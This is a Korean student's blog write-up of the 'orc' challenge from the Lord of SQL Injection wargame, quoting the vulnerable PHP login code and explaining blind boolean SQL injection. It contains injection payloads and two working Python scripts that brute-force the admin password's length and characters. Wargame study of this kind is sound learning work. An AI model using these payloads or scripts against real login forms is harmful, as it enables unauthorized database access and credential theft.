4주차_Webhacking 과제5 : los(orc)

2023. 10. 6. 01:26SWLUG/web hacking

다섯번째

 

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr

마지막 문제를 풀어볼 것이다.

 

코드를 자세히 보니 일단 아까처럼 id는 admin이고 pw를 찾는 문제인거같다.

/슬래시를 추가하라는 뜻일까?

 

 

어떻게 풀어야할까?

일단은 배운걸 총 집합해서 시도했는데 변화가 없다.

그래서 찾아봤는데 바로 다 보고 풀어버리면 도움이 안될 것 같아서 한줄 씩 보면서  힌트라고 생각하면서 풀어봤다.

 

해당 문제는 우회를 이용하는 것이 아닌 pw를 직접 알아내야한다고 한다.

( 앞에 문제들과의 차별점이 있다.)

여태까지 푼 문제들은 다 우회였는데 그래서 푸는 방법이 익숙하지 않았던 것 같다.

 

 

코드를 공부해보는 시간을 가져봤다.

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

1. 필터링 함수를 확인해보면 pw를 받는 변수에 prob와, _ , . , ( , )을 필터링하고 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다.

 

<?php
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

 

2. 해당 부분을 통해서 우회가 아닌 직접 비밀번호를 찾아내야 풀린다는 것을 알 수 있다.

 

<?php
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
?>

 

3. 해당 부분을 통해 참인값이 주어졌을 때, Hello admin이 출력될 것이라는 것을 확인 할 수 있다.

 

비밀번호의 크기를 찾기 위해서 사용할 문법은 문자열의 크기를 나타내는 length를 이용하고,

비밀번호를 모르니 pw는 아무것이나 써주고 or 뒤에 id는 admin이면서 pw의 길이를 1부터 하나씩 대입해보는 방법을 이용했다.

ex) pw=1' or id = 'admin' and length(pw)=1%23

 

 

쭉쭉 진행해봤고 결과는 그대로였다.

그리고 8을 입력했을 때 아래와 같이 결과가 나왔다.

 

이로써 pw길이가 8임을 알 수 있었다.

 

이제부터 pw를 알아볼텐데 두 가지 방법을 이용해서 풀 수 있다고한다.

 

1.pw의 한 글자마다의 범위를 유추하여 pw를 찾는 것이다.

2. 파이썬 코드를 이용하여 반복문을 만들어 비밀번호를 찾아내기.

 

 

방법 1

 

우선 1번방법은 범위를 이용해서 푸는 방법이다.

 

해당 문자들이 아스키 코드 값으로 숫자의 범위를 갖는 것을 이용해서 푸는 방법으로 or id='admin' and 이후에 ascii와 substr을 이용하여 푸는 것인데 , substr은 문자열 안에서 해당하는 문자를 입력한 범위만큼 불러온다고 한다.

즉 첫 번째 인수는 불러올 문자열 두 번째 인수는 시작점 세 번째 인수는 끝나는 지점이다.

substr(pw,1,1)은 pw의 첫 번째 문자를 불러오는 것이다.

ascii(substr(pw,1,1))을 하면 첫 번째 문자를 아스키 코드 값으로 변환해준다. 이것을 이용하여 해당 문자의 아스키코드가 '48보다 작을때는 참이 아닌데 49보다 작을 때는 참이다'라는 것을 이용하여 해당 문자의 아스키코드가 48이라는 것을 유추할 수 있다.

 

pw=1 or id=admin and ascii(substr(pw,1,1))<48%23

 

 

방법 2

 

코드는 찾아봤다.!

import requests
import string

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1'or "
cookie =dict(PHPSESSID="쿠키값")

char = string.digits+string.ascii_letters
result=""

for i in range(1,9):
    for j in char:
        param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
        URL = url+param
        response = requests.get(URL, cookies=cookie)
        if response.text.find("Hello admin")>0:
            print (j)
            result += j
            break
print("pw는",result,"입니다")

 

 

📌  코드 해석

 

requests 모듈과 string 모듈을 가져온다.
대상 URL을 url 변수에 저장하고, 세션 쿠키를 cookie 변수에 저장한다.
비밀번호를 찾을 때 사용할 문자열을 char 변수에 저장한다.
이는 숫자와 영문 대소문자로 구성된 문자열이다.
비밀번호를 저장할 변수인 result를 초기화한다.
1부터 8까지의 범위에서 반복문을 실행하여 각 비밀번호 위치에 대해 다음을 수행한다.
가능한 모든 문자에 대해 반복문을 실행하여 SQL Injection을 수행하도록한다.
SQL Injection 쿼리는 ascii(mid(pw, i, 1)) = ord(j) 형태로, 비밀번호의 i번째 문자가 j와 일치하는지를 확인한다.
만약 "Hello admin"이 응답에 포함되어 있다면, 해당 문자를 출력하고 result에 추가하며, 내부 반복문을 종료한다.
모든 비밀번호 위치에 대해 반복이 끝나면 최종적으로 찾아낸 비밀번호를 출력한다.

 

 

 

쿠키값을 찾아서 입력하고 실행하면 된다.

 

 

참고로 쿠키값은  Edit ThisCookie를 이용하면 간편하다.

 

실행한 결과 오류가 떴다. 오류는 다음과 같다.

찾아보니 해당오류는 모듈을 설치해야한다고 한다.

cmd창에서 위와같이 입력해서 모듈을 설치해주었다.

 

pw=095a9852 이 출력된다. ( 진짜 신기했다. )

 

 

 

 

 

참고 학습 자료

 

LOS (Lord of SQL injection) 문제 4번 orc write-up (tistory.com)

 

LOS (Lord of SQL injection) 문제 4번 orc write-up

문제 4번 - orc query : select id from prob_orc where id='admin' and pw=''

go-top.tistory.com

 

다른 방법의 풀이 ( 추가 학습 자료 - 해당 풀이는 비밀번호 길이도 코드로 풀었다.)

 

 

[ Los ] orc

해당 글에서는 requests모듈을 사용하여 풀었기 때문에, requests모듈에 대해 모르시는 분들은 아래 주소를 보고 오시면 좋을 듯 합니다. ( 2021.03.18 - [언어/Python] - requests 모듈 ) 주소 : https://los.rubiya.k

power-girl0-0.tistory.com

 

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}

len_num = 0

while 1:
    len_num += 1
    value = " 'or id='admin' and length(pw)={} #".format(len_num)
    params = {'pw':value}
    response = requests.get(url,params=params, cookies=cookies)
    print(len_num)
    if "Hello admin" in response.text:
        print("len : ",len_num)
        break

 

 

📌  코드 해석

 

string.digits + string.ascii_letters를 사용하여 검색 대상 문자열을 구성한다.
반복문을 사용하여 각 비밀번호 위치에서 가능한 모든 문자를 시도한다.
시도한 문자와 위치를 기반으로 SQL Injection을 수행하여 "Hello admin" 메시지의 존재 여부로 유효성을 검사한다.비밀번호를 찾을 때마다 해당 문자를 출력하고 결과 문자열에 추가한다.
ascii(mid(pw, i, 1)) = ord(j)라는 SQL 조건을 통해 각 문자를 비교한다.
찾아낸 비밀번호는 result 변수에 누적된다.

해당 코드를 통해서 길이가 8임을 알 수 있다.

 

 

개인적으로 추가 공부하고 싶은 자료

 

los orc (lord of sqlinjection 4번) (tistory.com)

 

los orc (lord of sqlinjection 4번)

blind sql injection 문제입니다. id는 고정이고 pw에서 인젝션을 진행하는데 코드 중간에 보면 $_GET[pw] = addslashes($_GET[pw]); 가 보입니다. 얘가 있으면 ', ", \ 친구들 (싱글쿼터, 더블쿼터, 백슬래시) 앞에

laoching.tistory.com